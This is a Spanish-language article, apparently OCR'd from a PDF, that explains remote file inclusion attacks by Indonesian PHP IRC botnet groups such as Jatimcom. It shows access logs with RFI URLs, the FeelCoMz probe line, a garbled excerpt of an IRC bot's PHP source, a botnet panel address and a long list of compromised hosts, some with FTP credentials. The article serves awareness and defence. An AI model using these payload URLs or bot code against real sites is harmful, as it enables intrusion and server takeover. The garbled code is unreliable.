JATIMCOM: PHP BOTNETS IRC

Los ataques en forma de RFI son todavia muy comunes y efectivos, al igual que las Botnets controladas por
IRC. Seguramente recibimos todo el tiempo multiples de éstos ataques web que habitualmente pasan
desapercibidos para nosotros, incluso una vez nuestras web y servidores actian como Zombies de la Botnet.

1-Como nos percatamos del intento de RFI?

Si usamos un gestor de contenidos, un CMS como Drupal, Wordpress, Joomla o cualquier otro, y disponemos
de un “log” de acceso, podemos ver como algunas URL como las siguientes:

& visitante 1
Ultima URL: //skin/zero vote/ask password.php?dir=http://sportsulsan.co.kr/poll/aipi/id.txt??
User Agent: Mozilla/5.0 .|

Host: (in-solve.ru) 17.in-solve.ru

& visitante 1 79.174.78.178

Ultima URL: /2010/03/? SERVERDOCUMENT ROOT=http://kf-house.huco-tnm.com/syssite/include/js/calendar/include/dategif/ipays/id1.txt222
User Agent: Mozilla/5.0

Host: (hc.ru) 4367.ovz53.hc.ru

&  vyisitante 1 89.221.52.69
Oltima URL: /2010/02/18/2m=20100218%20%20///components/com_virtuemart/show_image in_imgtag.php?mosConfig_absolute path=http%3A%2F%2Fwww.protech.su%2F%2Fimages%2Fmcith%2Fid1.txt%3F%3F

User Agent: Mozilla/5.0
Host: (govorit.ru) mgsu-gic6.ch.govorit.ru

Podemos ver claramente el intento de RFI (Inclusién remota de archivos) desde una direccién web ya
vulnerada, un servidor zombie, o bien una web creada para tal propésito.

Aunque la mayoria de las veces se utilizan escaneres automatizados como por ejemplo el explotado
FeelLCoMz Al PHPBot, ahora una moda en paises como Indonesia.

Algunos de los directorios donde se alojan los archivos maliciosos tienen permisos de lectura y escritura 'y
podemos verlos directamente mediante el navegador web:

Index of /images/.ajim

Name Last modified  Size Description

a Parent Directory -
E] ajim.txt 04-Oct-2009 05:02 186K

=) ajim].txt 04-Oct-2009 04:59 76
2] ajim2.xt 04-Oct-2009 05:00 2.1K
asp-botl.txt 22-Dec-200912:19 28K
Z] edit.txt 18-Dec-2009 04:28 35K
£ idx.txt 27-0ct-2009 11:39 495
=] mds.ext 12-Sep-2009 14:49 15K
@ script.txt 08-Dec-2009 15:07 45K
voperew.txt 18-Dec-2009 04:23 35K
% vopcrew.txt.1 18-Dec-2009 04:23 35K

ﬁ wunderbar emporium.tgz 14-Aug-2009 16:15 3.3M

Apache/2.2.4 (Ubuntu) mod_jk/1.2.23 mod_mono/1.2.4 mod_python'3.3.1
Port 80



Index of /public_html/scan

Name Last modified Size Description

Parent Directory 17-Mar-2010 16:14 =
Fx163.txt 25-Feb-2010 20:53 369k
MF.php 25-Feb-2010 20:53 35k

Quick/ 25-Feb-2010 20:53 -

25-Feb-2010 20:53 28k

allping. txt 25-Feb-2010 20:53 116k

() o) () (9 () () Ry

ba.txt 25-Feb-2010 20:53 63k

i)

bash. txt 25-Feb-2010 20:53 58k
bin.txt 15-Mar-2010 16:29 58k
bin2.txt 25-Feb-2010 20:53 58k
brutal.tar.gz 25-Feb-2010 20:53 750k
dork list.txt 25-Feb-2010 20:53 12k
googlerz.php 25-Feb-2010 20:53 1k
mildnetl.txt 25-Feb-2010 20:53 54k
@ ne 25-Feb-2010 20:53 17k
ne-jak-laczyc 25-Feb-2010 20:53 2k
scan.txt 25-Feb-2010 20:53 62k
spy3.txt 25-Feb-2010 20:53 48k
zfxidd.txt 25-Feb-2010 20:53 1k
zfxidd2.txt 25-Feb-2010 20:53 2k

Apache/l.3.41 Server at pras.oxidenet.eu Port 80

<?php
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[HHHHHH R |

|#[ FRM net PHP BOT IRC v1.5 1#1
|#[ By HilanG- 141
|#[ 2008 guitar Community 141
|#[ irc: #guitar @ allnetwork.org 1#1

| $$# 88448 H R HH R R HHHHHRHHHHEHEH BN B R BB RRRNE |

L74
function rx() {

/* Channel Bot */
$channels = '#labcom'; // chanell pisahkan dengan spasi

JHk% Admin *k*/
$admin = 'HIlang';
$bot_password = 'hilang321'; //Password untuk auth bot

$localtest = 0; //1, Coba di localhost. 0, connect ke server irc
$showrespone = 0; //1, Nampilin respon dari server irc

//Nick Bot
$nicklist = array(

"Connection Reset By Buah Pear",

"Shutdown"

)i

Stsul = array(" ", "ZN, N[N, NN, UL, RN, AN, 0 N

Stsu2 = array (" ", "ZN, N[N, N]N, N N} nAR w_n m\\n n o0y

Stsumsg = (o, 1BYEHEYCHRA AR LE R e D
$judnl = {83, 9/09,3\0,100 Ac¢a,-A¢ BAllren Blcilommunity A¢a,-Ac 3,9/089,3\E";

J*%% Admin *%%/
$admin = 'teddy bear';
Sbot_password = 'bye'; //Password untuk auth bot

/*** Replacing **%x/

$nick = $nicklist[rand(0,count ($nicklist) - 1)]1:

$remotehost = $remotehost2[rand(0,count (Sremotehost2) - 1)]:

Sadmin = strtolower ($admin) ;

$auth = array($admin => array("name" => $admin, "pass" => $bot password, "auth" => 1,"status" => "Admin")):
$username = $identlist[rand(0,count(§identlist) - 1)]:

$channels = strtolower (S$channels)." ":

$channel = explode(" ", $channels):

/*** Rode Utama **%/
define ('CRL', "\r\n"):

$saway =

Skeluar
Sakill :
$localhost = 'localhost’;

$dayload = date("H:i:s d/m/Y"):
ini_set('user_agent', 'MSIE 5\.5:'):
set time limit(0):



Una vez recopilemos alguna informacion, el tipo de herramientas usadas y alguna informacidn sensible como
direcciones de correo, nicks, imagenes...etc localizados los administradores de algunos sitios web que
promueven publicamente estas herramientas y que en muchos casos disponen de botnet propia y son
responsables de muchos intentos de RFl a nuestras webs.
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En la imagen superior vemos una Shell modificada que se utiliza y distribuye actualmente.

Normalmente, los administradores de estas comunidades se escudan en que no pueden controlar lo que
hacen algunos usuarios con sus cddigos... o cualquier otra excusa del mismo tipo.

Cuando alguno de éstos escaneres nos realiza una prueba (archivo id1.txt, id.txt...etc):
<?php /* Fx29ID */ echo("FeelL"."CoMz"): die("Feel"."CoMz"): /% Fx29ID */ ?>

Intenta comprobar si nuestra web es vulnerable a la inclusién remota de archivos(tienen listados amplios de
“Dorks” predeterminados), si lo fuera y en la pantalla (navegador web) se mostrase simplemente el texto
Feel CoMz, tendrian un directorio entero de nuestro servidor a su disposicidn para subir todo tipo de
archivos, shells, escaners, mailers, herramientas de DoS y archivos de todo tipo para seguir a su vez
realizando éstos tipos de ataque en servers que actian de“proxy” para ellos. Mientras ellos siguen
desfigurando portadas, robando datos, eliminando archivos... y ampliando la red Zombie mantenida y
controlada desde Mirc o paneles web como el siguiente:

http://www.aminef.or.id/images/eusa/bot.php

«fo» Jatimcom «»

Bot Nick : Away Message :

1dentify tick : [SSTSY SN ~drin ick :

Password : m Channels :

— Server:

Full Name = Keep Alive every: _ Hours (0 to off)

-=| Please Wait | =-

Jatim Community

Visit http:/ /jatimcom.uni.cc/



http://www.aminef.or.id/images/eusa/bot.php

La comunidad Jatimcom, y muchas otras que operan desde Indonesia ahora mismo y que molestan a
millones de webs en todo el mundo.

Jatimcrew, lumajangcrew, kamtiez.us, arianom.tk, hacker-newbie.org, inj3ctOr.com, fuck.vodork.co.cc, gang-
dolly.co.cc, jerinxzone.co.cc, todas ellas situadas en indonesia, mantienen, utilizan y amplian y difundes sus
redes y herramientas BOT PHP, utilizadas para ganar dinero con la publicidad de sus sites (Comprovar
estadisticas Jatimcom).

Aparentemente algunas webs propiedad de éstas comunidades tienen un aspecto normal e inofensivo:

s
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Pero detras de estos sitios aparentemente inofensivos se encuentran comunidades de (como ellos llaman)
“hacking” de paises como Brasil, Rusia, Indonesia, Italia, Espafia, Turquia, Marruecos, o Argentina por citar a
algunos, aunque podemos encontrar comunidades de éstas en casi todos los paises.
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http://www.cubestat.com/www.jatimcom.uni.cc
http://www.cubestat.com/www.jatimcom.uni.cc

Listado de sitios zombie atacantes:

http:

//rdoug.sytes.net/on.txt???

http:

//goldenhelmets.fr/zip/test.txt??

http:

//rdoug.sytes.net/on.txt???

ftp://189.19.36.105/temp/pz.txt???

//www.miranda.gov.ve/modules/mod sections/idl.txt???

//www.miranda.gov.ve/modules/mod sections/idl.txt???

//daejin-env.co.kr/board/data/file/bbs7/idl.txt????

//www.p2700.pe.kr/bbs///skin/uks gallery v1090 10up/setup/dcom/aul

//nic.bupt.edu.cn/media/spread. txt?&modez=psybnc

//daejin-env.co.kr/board/data/file/bbs7/idl.txt????

//www.jacksart.nl//administrator/templates/idl.txt?

://www.foodntop.com/bbs/data/notice 1/robot.txt????

://www.odysseygrp.co.uk/images/pickosikat.txt??&modez=psybnc

LEXE??

//lclink.co.kr/bbs/icon/private icon/templates/sken/idl (pirates) .txt?

//www.isfparma.org/modules/mod people/idlabl.txt??

//www.atb.gov.tr/portal/administrator/et/id2.txt??22?2??

//bdkorea.org/zeroboard/data/bangla notice/ghl.txt???

//snia2009.com/components/com jce/zfxidl.txt?

http://www.bci.unisel.edu.my/
http://www.howtolisten.kr/sarangbi bgm/idl.txt?
http://bajuszbt.hu/language/byz9991.txt???

http:

http://bajuszbt.hu/language/byz9991.txt???

http:

http://www.verseoftheweek.com/id1?
http://www.boomong.com/bbs//data/1.txt???

http:

http:

http:

http:
http://www.protech.su//images/zamki/idl.txt??
http://altogm.com/bbs/data/idl.txt?

http:

http
http://christmanandcompany.com/help/responl.txt?
http

http://72.52.245.180/~sealques/x/idl.txt???
http://sparklygreeneyes.com/files/.data/idl.txt??
http:

http:
http://networks.kpru.ac.th/list/responl.txt??
http://www.kgbrico.xpg.com.br/bsp.txt?
http://www.stomatformula.com.ua/help/sh/idl.txt??
http://www.guianossacidade.com.br/logo/idl.txt??
http://www.knxshop.fr/

http:

http:

http://tailor.wen.ru/1.txt??
http://amedan-beaute-institut.fr/media/id1???
http:

http:
http://www.cuccio.com/pdfs/eeng/responl.txt?

ftp://vamo@akininguemtaska.info:vamo@Rakininguemtaska.info/yenor.php?

http:

//www.vinotecnia.es/files/ts????

http:

//ayasotel.com/media/ts????

http:

//www.hyonsvc.co.kr//bbs//icon/idl.txt???

http:

//arsip.rembangkab.go.id/modules/head??

ftp://alexandredasilva:12345@www.alexandredasilva.com/teste.php?

http:

//www.mendipcastors.co.uk/templates////idl.txt?

http:

//snia2009.com/components/com jce/zfxidl.txt?

http:

//forum.c4evn.org/idl.txt?

http:

http:

//www.maratechengineering.com/zen-cart/images/dvd/test.txt??

http:

//jjang.oxwiz.co.kr/zboard//board/zero vote/.cok/Pl.txt?

http:

//www.benibouayach.com/cache/1.txt??

http//www.telleriasnunez.com$2Fidl.txt$3F$3F

http:

//www.sly8.com/sly8//bbs/idl.txt?

http:

//divel2world.com/newdive/F1.txt

http:

//nic.bupt.edu.cn/media/jl.txt???

http:

//www.howtolisten.kr//parti/data/admin/idl.txt???

http:

//nic.bupt.edu.cn/media/jl.txt???

http:

//www.miranda.gov.ve/modules/mod sections/tmpl/main???



http://rdoug.sytes.net/
http://goldenhelmets.fr/
http://rdoug.sytes.net/
http://www.bci.unisel.edu.my/
http://www.howtolisten.kr/
http://bajuszbt.hu/
http://www.miranda.gov.ve/
http://bajuszbt.hu/
http://www.miranda.gov.ve/
http://www.verseoftheweek.com/
http://www.boomong.com/
http://daejin-env.co.kr/
http://www.p2700.pe.kr/
http://nic.bupt.edu.cn/
http://daejin-env.co.kr/
http://www.protech.su/
http://altogm.com/
http://www.jacksart.nl/
http://www.foodntop.com/
http://christmanandcompany.com/
http://www.odysseygrp.co.uk/
http://72.52.245.180/
http://sparklygreeneyes.com/
http://lclink.co.kr/
http://www.kandeladesign.fr/
http://networks.kpru.ac.th/
http://www.kgbrico.xpg.com.br/
http://www.stomatformula.com.ua/
http://www.guianossacidade.com.br/
http://www.knxshop.fr/
http://www.isfparma.org/
http://www.atb.gov.tr/
http://tailor.wen.ru/
http://amedan-beaute-institut.fr/
http://bdkorea.org/
http://snia2009.com/
http://www.cuccio.com/
http://www.vinotecnia.es/
http://ayasotel.com/
http://www.hyonsvc.co.kr/
http://arsip.rembangkab.go.id/
http://www.mendipcastors.co.uk/
http://snia2009.com/components/com_jce/zfxid1.txt
http://forum.c4evn.org/id1.txt
http://kpaa.or.kr/int/skin/latest/dex/id1.txt
http://www.maratechengineering.com/zen-cart/images/dvd/test.txt
http://jjang.oxwiz.co.kr/zboard/board/zero_vote/.cok/P1.txt
http://www.benibouayach.com/cache/1.txt
http/www.telleriasnunez.com
http://www.sly8.com/sly8/bbs/id1.txt?
http://dive2world.com/newdive/F1.txt
http://nic.bupt.edu.cn/media/j1.txt
http://www.howtolisten.kr/parti/data/admin/id1.txt
http://nic.bupt.edu.cn/media/j1.txt
http://www.miranda.gov.ve/modules/mod_sections/tmpl/main

Podriamos ampliar muchisimo ésta lista, solo es cuestidn de tiempo recibir éste tipo de ataques RFI.

-Mas informacion de éste tipo de ataques y parecidos en la web luctus.es-

Luctus

"Descargas e Informacion”

La conclusidn que a groso modo extraemos de todo esto, es que actualmente operan millares, (por no decir
millones) de comunidades similares a ésta.

Algunas mas “profesionalizadas” y otras menos, pero mas vale estar al dia, tanto nosotros los usuarios
comunes, como los servicios de web hosting.

Si tienes una web escrita en PHP eres un posible objetivo de éste tipo de escaneres que a veces detectany
explotan vulnerabilidades recientemente descubiertas, muchas de las veces con éxito. (Solo hay que mirar el
log diariamente y ver que los ataques proceden de muchos sitios web diferentes). Si quiere saber que hacer
frente a éste tipo de ataques y como protegerse contacte conmigo en la siguiente direccion de correo:

admin@Iuctus.com

Pagina Web: http://luctus.es
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